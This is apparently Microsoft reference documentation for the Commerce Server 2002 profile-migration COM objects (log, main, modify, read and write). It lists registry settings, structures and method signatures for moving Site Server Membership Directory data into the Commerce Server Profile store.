AttributeFactors The number of entries in the mapping section for each attribute in an XML file. The type is DWORD. The default value is four (4), counting the following four lines:
<FromMembership>givenName</FromMembership>
<ToUPS>GeneralInfo.first_name</ToUPS>
<WProfileType>UserObject</WProfileType>
<WTypes>VT_BSTR</WTypes>

Each attribute in the mapping section contains these four lines, with different values.
ADsSearchPageSize | Size of search page. The type is DWORD. See the Active Directory Service Interfaces (ADSI) documentation for more information.
MaxNumLinesEachFile | The maximum number of lines in each log file. When this number is reached, a new log file is created in the same location with the file name extended with sequential numbers. The data type is DWORD.
NumberOfLinesToFlush | Use this parameter to flush the memory when the log file contains the indicated number of lines. The data type is DWORD.
MaxAttributesFetched The number of attributes having values you request from the Membership Directory. A number that is too high may result in a timeout; a number that is too low will adversely affect performance. Do not set this value first.

Set this value to 50 if you receive a timeout error in the MigrationReadObj object. The data type is DWORD.
InitialWaitPeriod | The time in milliseconds that the process sleeps for the first time. The default value is zero (0). It is recommended you set this to less than five (5). The data type is DWORD.
BackOffTimes | The number of times to retry in case of failure. The default value is zero (0). It is recommended you set this to less than four (4). The data type is DWORD.
LogLevel Log level values are:

0 = Logs error only

1 = Logs error and success

2 = Logs error and performance

3 = Logs error and success and performance

The data type is DWORD.

The IMigrationLogObj interface depends on the following structure:

typedef struct _LOGINFO
{
    long  lProfile_id
    BSTR  bstrDN;
    BSTR  bstrObject;
    Long  lErrorCode;
    BSTR  bstrReason;
} LOGINFO;

See Also

[C++] MigrationMainObj Object

[C++] MigrationModify Object

[C++] MigrationReadObj Object

[C++] MigrationWriteObj Object

[Visual Basic] MigrationMainObj Object

[Visual Basic] MigrationModify Object

[Visual Basic] MigrationReadObj Object

[Visual Basic] MigrationWriteObj Object


IMigrationLogObj Methods [C++]

MigrationLogObj Methods [Visual Basic]

Methods

[C++]
Method | Description
Initialize | Initializes the MigrationLogObj object.
LogSuccess | Writes the success code to the log file.
RecordInfo | Records data to the log file.
[Visual Basic]
Method | Description
Initialize | Initializes the MigrationLogObj object.
LogSuccess | Writes the success code to the log file.
RecordInfo | Records data to the log file.


IMigrationLogObj::Initialize Method [C++]

MigrationLogObj.Initialize Method [Visual Basic]

Use this method to initialize the MigrationLogObj object.

Definition

[C++]
HRESULT IMigrationLogObj::Initialize(
  int nLogSuccess
);
[Visual Basic]
Sub Initialize(
  nLogSuccess As int
)

Parameters

nLogSuccess [C++]
[in] An int that indicates which migrations will be written to the log file. A value of 1 (one) means that successful migrations will be written to the log file as well as unsuccessful migrations. A value of 0 (zero) means that only unsuccessful migrations will be written.
nLogSuccess [Visual Basic]
An int that indicates which migrations will be written to the log file. A value of 1 (one) means that successful migrations will be written to the log file as well as unsuccessful migrations. A value of 0 (zero) means that only unsuccessful migrations will be written.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

Call this method before calling the RecordInfo or LogSuccess methods.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[C++] Requirements for using this method are listed in MigrationLogObj Object.

[Visual Basic] Requirements for using this method are listed in MigrationLogObj Object.

See Also

[C++] MigrationLogObj Object

[Visual Basic] MigrationLogObj Object


IMigrationLogObj::LogSuccess Method [C++]

MigrationLogObj.LogSuccess Method [Visual Basic]

Use this method when a successful migration occurs and the LogLevel registry key is 1 or 3. The success code is written to a file with a name constructed by concatenating the value of the LogFilePath registry key, the string "_success", and a number that is incremented as the file exceeds the "MaxNumLinesEachFile" registry key. An example file name is: C:\MigrationLogObj_success1.

Definition

[C++]
HRESULT IMigrationLogObj::LogSuccess(
  BSTR bstrKeyName,
  long lprofile_id
);
[Visual Basic]
Sub LogSuccess(
  bstrKeyName As String,
  lprofile_id As Long
)

Parameters

bstrKeyName [C++]
[in] A BSTR that contains the name of the object that is being migrated.
bstrKeyName [Visual Basic]
A String that contains the name of the object that is being migrated.
lprofile_id [C++]
[in] A long that contains the ID of the profile XML file that is used when migrating the object.
lprofile_id [Visual Basic]
A long that contains the ID of the profile XML file that is used when migrating the object.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] MigrationLogObj Object

[Visual Basic] MigrationLogObj Object


IMigrationLogObj::RecordInfo Method [C++]

MigrationLogObj.RecordInfo Method [Visual Basic]

Use this method to record information to the log file.

Definition

[C++]
HRESULT IMigrationLogObj::RecordInfo(
  LOGINFO lgInfo
);
[Visual Basic]
Sub RecordInfo(
  lgInfo As LOGINFO
)

Parameters

lgInfo [C++]
[in] A LOGINFO object that contains the log information to record.
lgInfo [Visual Basic]
A LOGINFO object that contains the log information to record.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] MigrationLogObj Object

[Visual Basic] MigrationLogObj Object


MigrationMainObj Object [C++]

MigrationMainObj Object [Visual Basic]

Use this object to coordinate the migration from the Site Server 3.0 Membership Directory to the Commerce Server Profile data store. The MigrationMainObj object uses the following four COM objects to implement this task:

  • MigrationLogObj
  • MigrationModifyObj
  • MigrationReadObj
  • MigrationWriteObj
ProgID: | MigrationProfile (Externally creatable)
COM Class Name: | MigrationProfile
Type Library Name: | MigrationMainObj 1.0 Type Library
DLL Name:
[C++]
COM Interface Name: | IMigrationProfile
Interface ID Constant: | None
Header File: | MigrationProfile.h
[C++]

In C++, use the IMigrationProfile interface to access the properties and methods of the MigrationMainObj object.

Methods

[C++]
Method | Description
Initialize | Sets up all the components for the migration process.
MigrateObject | Migrates an ADSPath key to the Commerce Server 2002 Profile data store.
ShutDown | Shuts down and deallocates the data structures that were created upon initialization.
[Visual Basic]
Method | Description
Initialize | Sets up all the components for the migration process.
MigrateObject | Migrates an ADSPath key to the Commerce Server 2002 Profile data store.
ShutDown | Shuts down and deallocates the data structures that were created upon initialization.

Remarks

The following structure should be added to the .idl file included in the Migration folder to facilitate passing the profile information to each object:

typedef struct _PROFILE
    long lprofile_id;
    ' bstrConfigStore in Commerce Server
    BSTR bstrConnection;
    ' used in profile service initialization
    BSTR bstrCatalog;
    ' migrate user's membership
    BSTR bstrMemberOf;
    SAFEARRAY(BSTR) Attributes;
    ' number of attribute types
    SAFEARRAY(USHORT) nAttributeTypes;
    ' only for write use
    SAFEARRAY(BSTR) ProfileTypes;
    ' Membership User name
    BSTR bstrMOUserName;
    BSTR bstrMDPassword;
    BSTR bstrCSUserName
    BSTR bstrCSPassword;
    ' True for ADSite, otherwise False
    BSTR bstrADSite;
    ' OU that holds all groups
    BSTR bstrGroupOU;
    ' total number of modifiers in this profile
    long lNumModifies;
    ' modify info
    SAFEARRAY(USHORT) rgModIndex;
} PROFILE;

See Also

[C++] MigrationLogObj Object

[C++] MigrationModify Object

[C++] MigrationReadObj Object

[C++] MigrationWriteObj Object

[Visual Basic] MigrationLogObj Object

[Visual Basic] MigrationModify Object

[Visual Basic] MigrationReadObj Object

[Visual Basic] MigrationWriteObj Object


IMigrationMainObj Methods [C++]

MigrationMainObj Methods [Visual Basic]

Methods

[C++]
Method | Description
Initialize | Sets up all the components for the migration process.
MigrateObject | Migrates an ADSPath key to the Commerce Server 2002 Profile data store.
ShutDown | Shuts down and deallocates the data structures that were created upon initialization.
[Visual Basic]
Method | Description
Initialize | Sets up all the components for the migration process.
MigrateObject | Migrates an ADSPath key to the Commerce Server 2002 Profile data store.
ShutDown | Shuts down and deallocates the data structures that were created upon initialization.


IMigrationMainObj::Initialize Method [C++]

MigrationMainObj.Initialize Method [Visual Basic]

Use this method to set up all the components for the migration process.

[C++]
HRESULT IMigrationMainObj::Initialize(
  BSTR sProfileDirectory
);
[Visual Basic]
Sub Initialize(
  sProfileDirectory As String
)

Parameters

sProfileDirectory [C++]
[in] A BSTR that contains the path of the profile directory. This parameter, indicating where all profile files reside, is parsed for each of the following values:
  • An array containing the attribute names for each profile ID. These arrays will be stored in a structure that will be passed to the MigrationReadObj, MigrationModifyObj, and MigrationWriteObj objects.
  • The connection string to the membership directory or SQL Server that will be passed to the MigrationReadObj and MigrationWriteObj objects in the form of an array of connection strings.
  • The profile ID for each profile so that the correct attribute array can be identified. The profile IDs will be passed to the MigrationReadObj and MigrationWriteObj objects in the form of an array of profile IDs. The profile ID is passed to the MigrationModifyObj object as a single ID.
  • The ProgID for each COM object so that it can be initialized with the above data. The ProgIDs will be stored in an array so that the correct objects can be called based on the profile ID.
sProfileDirectory [Visual Basic]
A String that contains the path of the profile directory. This parameter, indicating where all profile files reside, is parsed for each of the following values:
  • An array containing the attribute names for each profile ID. These arrays will be stored in a structure that will be passed to the MigrationReadObj, MigrationModifyObj, and MigrationWriteObj objects.
  • The connection string to the membership directory or SQL Server that will be passed to the MigrationReadObj and MigrationWriteObj objects in the form of an array of connection strings.
  • The profile ID for each profile so that the correct attribute array can be identified. The profile IDs will be passed to the MigrationReadObj and MigrationWriteObj objects in the form of an array of profile IDs. The profile ID is passed to the MigrationModifyObj object as a single ID.
  • The ProgID for each COM object so that it can be initialized with the above data. The ProgIDs will be stored in an array so that the correct objects can be called based on the profile ID.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] MigrationMainObj Object

[Visual Basic] MigrationMainObj Object


IMigrationMainObj::MigrateObject Method [C++]

MigrationMainObj.MigrateObject Method [Visual Basic]

Use this method to migrate an ADSPath key to the Commerce Server 2002 Enterprise Editon (EE) Profile data store. This method is called from the Active Server Pages (ASP) page or from Microsoft Visual Basic Scripting Edition (VBscript).

Definition

[C++]
HRESULT IMigrationMainObj::MigrateObject(
  BSTR bstrKeyName,
  long lProfile_id
);
[Visual Basic]
Sub MigrateObject(
  bstrKeyName As String,
  lProfile_id As Long
)

Parameters

bstrKeyName [C++]
[in] A BSTR that contains the ADSPath key.
bstrKeyName [Visual Basic]
A String that contains the ADSPath key.
lProfile_id [C++]
[in] A long that contains the profile ID to be used for the ADSPath key.
lProfile_id [Visual Basic]
A Long that contains the profile ID to be used for the ADSPath key.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The MigrationProfile object finds the appropriate attribute array for the input profile ID to be filled in by the MigrationReadObj object. This array, along with the key (ADSPath) and profile ID is then passed to the MigrationReadObj, MigrationModifyObj, or MigrationWriteObj objects to be processed.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] MigrationMainObj Object

[Visual Basic] MigrationMainObj Object


IMigrationMainObj::ShutDown Method [C++]

MigrationMainObj.ShutDown Method [Visual Basic]

Use this method to shut down the server. It is called from the MigrationReadObj or MigrationWriteObj object. It also deallocates the data structures that were created upon initialization.

Definition

[C++]
HRESULT IMigrationMainObj::ShutDown(
);
[Visual Basic]
Sub ShutDown()

Parameters

[C++] None.

[Visual Basic] None.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] MigrationMainObj Object

[Visual Basic] MigrationMainObj Object


MigrationModifyObj Object [C++]

MigrationModifyObj Object [Visual Basic]

Use this object to change the data that has been read from the Membership Directory before it is migrated to the Commerce Server Profile data store.

ProgID: | MigrationModify (Externally creatable)
COM Class Name: | GlobalConfig
Type Library Name: | MigrationModifyObj 1.0 Type Library
[C++]
COM Interface Name: | IMigrationModify
Interface ID Constant: | None
Header File: | MigrationModify.h
[C++]

In C++, use the IMigrationModify interface to access the properties and methods of the MigrationModify object.

Because this object is primarily intended for use within ASP script, access from C++ will not be common.

Methods

[C++]
Method | Description
Initialize | Initializes the MigrationModifyObj object.
ModifyAttributes | Accepts the key, profile ID, and array of values to be modified. This method uses the profile ID to determine the structure of the array based on the attributes that it read in the Initialize method.
[Visual Basic]
Method | Description
Initialize | Initializes the MigrationModifyObj object.
ModifyAttributes | Accepts the key, profile ID, and array of values to be modified. This method uses the profile ID to determine the structure of the array based on the attributes that it read in the Initialize method.

See Also

[C++] MigrationLogObj Object

[C++] MigrationMainObj Object

[C++] MigrationReadObj Object

[C++] MigrationWriteObj Object

[Visual Basic] MigrationLogObj Object

[Visual Basic] MigrationMainObj Object

[Visual Basic] MigrationReadObj Object

[Visual Basic] MigrationWriteObj Object


IMigrationModify Methods [C++]

MigrationModify Methods [Visual Basic]

Methods

[C++]
Method | Description
Initialize | Initializes the MigrationModifyObj object.
ModifyAttributes | Accepts the key, profile ID, and array of values to be modified. This method uses the profile ID to determine the structure of the array based on the attributes that it read in the Initialize method.
[Visual Basic]
Method | Description
Initialize | Initializes the MigrationModifyObj object.
ModifyAttributes | Accepts the key, profile ID, and array of values to be modified. This method uses the profile ID to determine the structure of the array based on the attributes that it read in the Initialize method.


IMigrationModify::Initialize Method [C++]

MigrationModify.Initialize Method [Visual Basic]

Use this method to initialize the MigrationModifyObj object.

Definition

[C++]
HRESULT IMigrationModify::Initialize(
);
[Visual Basic]
Sub Initialize()

Parameters

[C++] None.

[Visual Basic] None.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

Call this method before calling the ModifyAttributes method.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] MigrationModify Object

[Visual Basic] MigrationModify Object


IMigrationModify::ModifyAttributes Method [C++]

MigrationModify.ModifyAttributes Method [Visual Basic]

Use this method to input the key, profile ID, and array of values to be modified.

Definition

[C++]
HRESULT IMigrationModify::ModifyAttributes(
  long lProfile_id,
  BSTR bstrAttribute,
  USHORT targetType,
  USHORT sourceType,
  VARIANT* varTarg
);
[Visual Basic]
Sub ModifyAttributes(
  lProfile_id As Long,
  bstrAttribute As String,
  targetType As USHORT,
  sourceType As USHORT,
  varTarg As Variant
)

Parameters

lProfile_id [C++]
[in] A long that contains the ID of the profile XML file that is being used.
lProfile_id [Visual Basic]
A Long that contains the ID of the profile XML file that is being used.
bstrAttribute [C++]
[in] A BSTR that contains the name of the attribute that will be modified.
bstrAttribute [Visual Basic]
A String that contains the name of the attribute that will be modified.
targetType [C++]
[in] A USHORT that contains the data type that the attribute should be changed to.
targetType [Visual Basic]
A USHORT that contains the data type that the attribute should be changed to.
sourceType [C++]
[in] A USHORT that contains the data type of the attribute passed in.
sourceType [Visual Basic]
A USHORT that contains the data type of the attribute passed in.
varTarg [C++]
[in, out] A pointer to the VARIANT that contains the value of the attribute that will be changed. The value passed in is also used to return the altered value.
varTarg [Visual Basic]
A Variant that contains the value of the attribute that will be changed. The passed in value passed in is also used to return the altered value.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

This method uses the profile ID to determine the structure of the array based on the attributes that it read in the Initialize method.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] MigrationModify Object

[Visual Basic] MigrationModify Object


MigrationReadObj Object [C++]

MigrationReadObj Object [Visual Basic]

Use the MigrationReadObj object to read values for each attribute in the Membership Directory, and then send them to the MigrationProfile object. The MigrationReadObj object first reads the type of each attribute and then fills in the data.

ProgID: | MigrationRead (Externally creatable)
COM Class Name: | MigrationRead
Type Library Name: | MigrationReadObj 1.0 Type Library
[C++]
COM Interface Name: | IMigrationRead
Interface ID Constant: | None
Header File: | MigrationRead.h

Methods

[C++]
Method | Description
Initialize | Determines which attributes to read for a particular key based on the profile ID.
MigrationFailed | Sets the attribute cn=Migration to FALSE when the migration of this object fails.
ReadAttributes | Uses the profile ID to determine what attributes are associated with the key, and then reads these attributes from the data source into the array.
ShutDown | Frees the created connection pools.
[Visual Basic]
Method | Description
Initialize | Determines which attributes to read for a particular key based on the profile ID.
MigrationFailed | Sets the attribute cn=Migration to FALSE when the migration of this object fails.
ReadAttributes | Uses the profile ID to determine what attributes are associated with the key, and then reads these attributes from the data source into the array.
ShutDown | Frees the created connection pools.

See Also

[C++] MigrationLogObj Object

[C++] MigrationMainObj Object

[C++] MigrationModify Object

[C++] MigrationWriteObj Object

[Visual Basic] MigrationLogObj Object

[Visual Basic] MigrationMainObj Object

[Visual Basic] MigrationModify Object

[Visual Basic] MigrationWriteObj Object


IMigrationReadObj Methods [C++]

MigrationReadObj Methods [Visual Basic]

Methods

[C++]
Method | Description
Initialize | Determines which attributes to read for a particular key based on the profile ID.
MigrationFailed | Sets the attribute cn=Migration to FALSE when the migration of this object fails.
ReadAttributes | Uses the profile ID to determine what attributes are associated with the key, and then reads these attributes from the data source into the array.
ShutDown | Frees the created connection pools.
[Visual Basic]
Method | Description
Initialize | Determines which attributes to read for a particular key based on the profile ID.
MigrationFailed | Sets the attribute cn=Migration to FALSE when the migration of this object fails.
ReadAttributes | Uses the profile ID to determine what attributes are associated with the key, and then reads these attributes from the data source into the array.
ShutDown | Frees the created connection pools.


IMigrationReadObj::Initialize Method [C++]

MigrationReadObj.Initialize Method [Visual Basic]

Use this method to determine which attributes to read for a particular key based on the profile ID.

Definition

[C++]
HRESULT IMigrationRead::Initialize(
  long lNumProfiles,
  PROFILE Profile[],
  BSTR bstrModifyProgID
);
[Visual Basic]
Sub Initialize(
  lNumProfiles As Long,
  Profile[] As PROFILE,
  bstrModifyProgID As String
)

Parameters

lNumProfiles [C++]
[in] A long that contains the number of profile XML files that will be used for the migration.
lNumProfiles [Visual Basic]
A Long that contains the number of profile XML files that will be used for the migration.
Profile[] [C++]
[in, size_is (numProfiles)] An array of PROFILE structures holding all the information from the XML profile files.
Profile[] [Visual Basic]
An array of PROFILE structures holding all the information from the XML profile files.
bstrModifyProgID [C++]
[in] A BSTR that contains the modified ProgID.
bstrModifyProgID [Visual Basic]
A String that contains the modified ProgID.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

This method takes as input an array of structures containing all the attributes for each profile ID and the connection to use.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] MigrationReadObj Object

[Visual Basic] MigrationReadObj Object


IMigrationReadObj::MigrationFailed Method [C++]

MigrationReadObj.MigrationFailed Method [Visual Basic]

Use this method to set the attribute cn=Migration to FALSE when the migration of the MigrationReadObj object fails. This attribute is of type binary and should not exist in the current schema.

Definition

[C++]
HRESULT IMigrationReadObj::MigrationFailed(
  BSTR bstrKeyName
);
[Visual Basic]
Sub MigrationFailed(
  bstrKeyName As String
)

Parameters

bstrKeyName [C++]
[in] A BSTR that contains the name of the object that is being migrated.
bstrKeyName [Visual Basic]
A String that contains the name of the object that is being migrated.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] MigrationReadObj Object

[Visual Basic] MigrationReadObj Object


IMigrationReadObj::ReadAttributes Method [C++]

MigrationReadObj.ReadAttributes Method [Visual Basic]

Use this method to determine what attributes are associated with the key, and then read these attributes from the data source into the array.

Definition

[C++]
HRESULT IMigrationReadObj::ReadAttributes(
  BSTR bstrKeyName,
  long lProfile_id,
  SAFEARRAY(VARIANT)* AttributeStructure,
  VARIANT* varValueIndex,
  VARIANT* vMemberOfs
);
[Visual Basic]
Sub ReadAttributes(
  bstrKeyName As String,
  lProfile_id As Long,
  AttributeStructure As SAFEARRAY(VARIANT),
  varValueIndex As Variant,
  vMemberOfs As Variant
)

Parameters

bstrKeyName [C++]
[in] A BSTR that contains the name of the object that is being migrated.
bstrKeyName [Visual Basic]
A String that contains the name of the object that is being migrated.
lProfile_id [C++]
[in] A long that contains the ID of the profile XML file that is been used.
lProfile_id [Visual Basic]
A Long that contains the ID of the profile XML file that is been used.
AttributeStructure [C++]
[out] A reference to a SAFEARRAY(VARIANT) that contains an array of all the attributes that are to be migrated for this object.
AttributeStructure [Visual Basic]
A SAFEARRAY(VARIANT) that contains an array of all the attributes that are to be migrated for this object.
varValueIndex [C++]
[in] A pointer to a VARIANT array showing which attributes were actually read for this object. If an index is Null, then this object did not have this attribute set.
varValueIndex [Visual Basic]
A VARIANT array showing which attributes were actually read for this object. If an index is Null, then this object did not have this attribute set.
vMemberOfs [C++]
[out] A pointer to a VARIANT array containing all the groups to which this object is a member.
vMemberOfs [Visual Basic]
A Variant array containing all the groups to which this object is a member.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

This method is called for each migration that takes place.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] MigrationReadObj Object

[Visual Basic] MigrationReadObj Object


IMigrationReadObj::ShutDown Method [C++]

MigrationReadObj.ShutDown Method [Visual Basic]

Use this method to free the created connection pools.

Definition

[C++]
HRESULT IMigrationReadObj::ShutDown(
);
[Visual Basic]
Sub ShutDown()

Parameters

[C++] None.

[Visual Basic] None.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The MigrationProfile object calls this method.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] MigrationReadObj Object

[Visual Basic] MigrationReadObj Object


MigrationWriteObj Object [C++]

MigrationWriteObj Object [Visual Basic]

Use this object to write the values for each attribute to the Commerce Server 2002 Profile data store.

ProgID: | MigrationWrite (Externally creatable)
COM Class Name: | MigrationWrite
Type Library Name: | MigrationWriteObj 1.0 Type Library
[C++]
COM Interface Name: | IMigrationWrite
Interface ID Constant: | None
Header File: | MigrationWrite.h
[C++]

In C++, use the IMigrationWriteObj interface to access the properties and methods of the MigrationWriteObj object.

Methods

[C++]
Method | Description
Initialize | Uses the input parameters to determine what attributes to write for a particular key based on the profile ID.
ShutDown | Frees the created connection pools.
WriteUserAttributes | Uses the profile ID to identify the attributes that are associated with the key and writes these attributes from the array into the Commerce Server Profile data store.
[Visual Basic]
Method | Description
Initialize | Uses the input parameters to determine what attributes to write for a particular key based on the profile ID.
ShutDown | Frees the created connection pools.
WriteUserAttributes | Uses the profile ID to identify the attributes that are associated with the key and writes these attributes from the array into the Commerce Server Profile data store.

See Also

[C++] MigrationLogObj Object

[C++] MigrationMainObj Object

[C++] MigrationModify Object

[C++] MigrationReadObj Object

[Visual Basic] MigrationLogObj Object

[Visual Basic] MigrationMainObj Object

[Visual Basic] MigrationModify Object

[Visual Basic] MigrationReadObj Object


IMigrationWriteObj Methods [C++]

MigrationWriteObj Methods [Visual Basic]

Methods

[C++]
Method | Description
Initialize | Uses the input parameters to determine what attributes to write for a particular key based on the profile ID.
ShutDown | Frees the created connection pools.
WriteUserAttributes | Uses the profile ID to identify the attributes that are associated with the key and writes these attributes from the array into the Commerce Server Profile data store.
[Visual Basic]
Method | Description
Initialize | Uses the input parameters to determine what attributes to write for a particular key based on the profile ID.
ShutDown | Frees the created connection pools.
WriteUserAttributes | Uses the profile ID to identify the attributes that are associated with the key and writes these attributes from the array into the Commerce Server Profile data store.


IMigrationWriteObj::Initialize Method [C++]

MigrationWriteObj.Initialize Method [Visual Basic]

Use this method to determine what attributes to write for a particular key based on the profile ID.

Definition

[C++]
HRESULT IMigrationWrite::Initialize(
  long numProfiles,
  PROFILE Profiles[],
  IUnknown* pIMigrationLog
);
[Visual Basic]
Sub Initialize(
  numProfiles As Long,
  Profiles[] As PROFILE,
  pIMigrationLog As IUnknown
)

Parameters

numProfiles [C++]
[in] A long that contains the number of profile XML files that will be used for the migration.
numProfiles [Visual Basic]
A Long that contains the number of profile XML files that will be used for the migration.
Profiles[] [C++]
[in, size_is (numProfiles)] An array of PROFILE structures holding all the information from the XML profile files.
Profiles[] [Visual Basic]
An array of PROFILE structures holding all the information from the XML profile files.
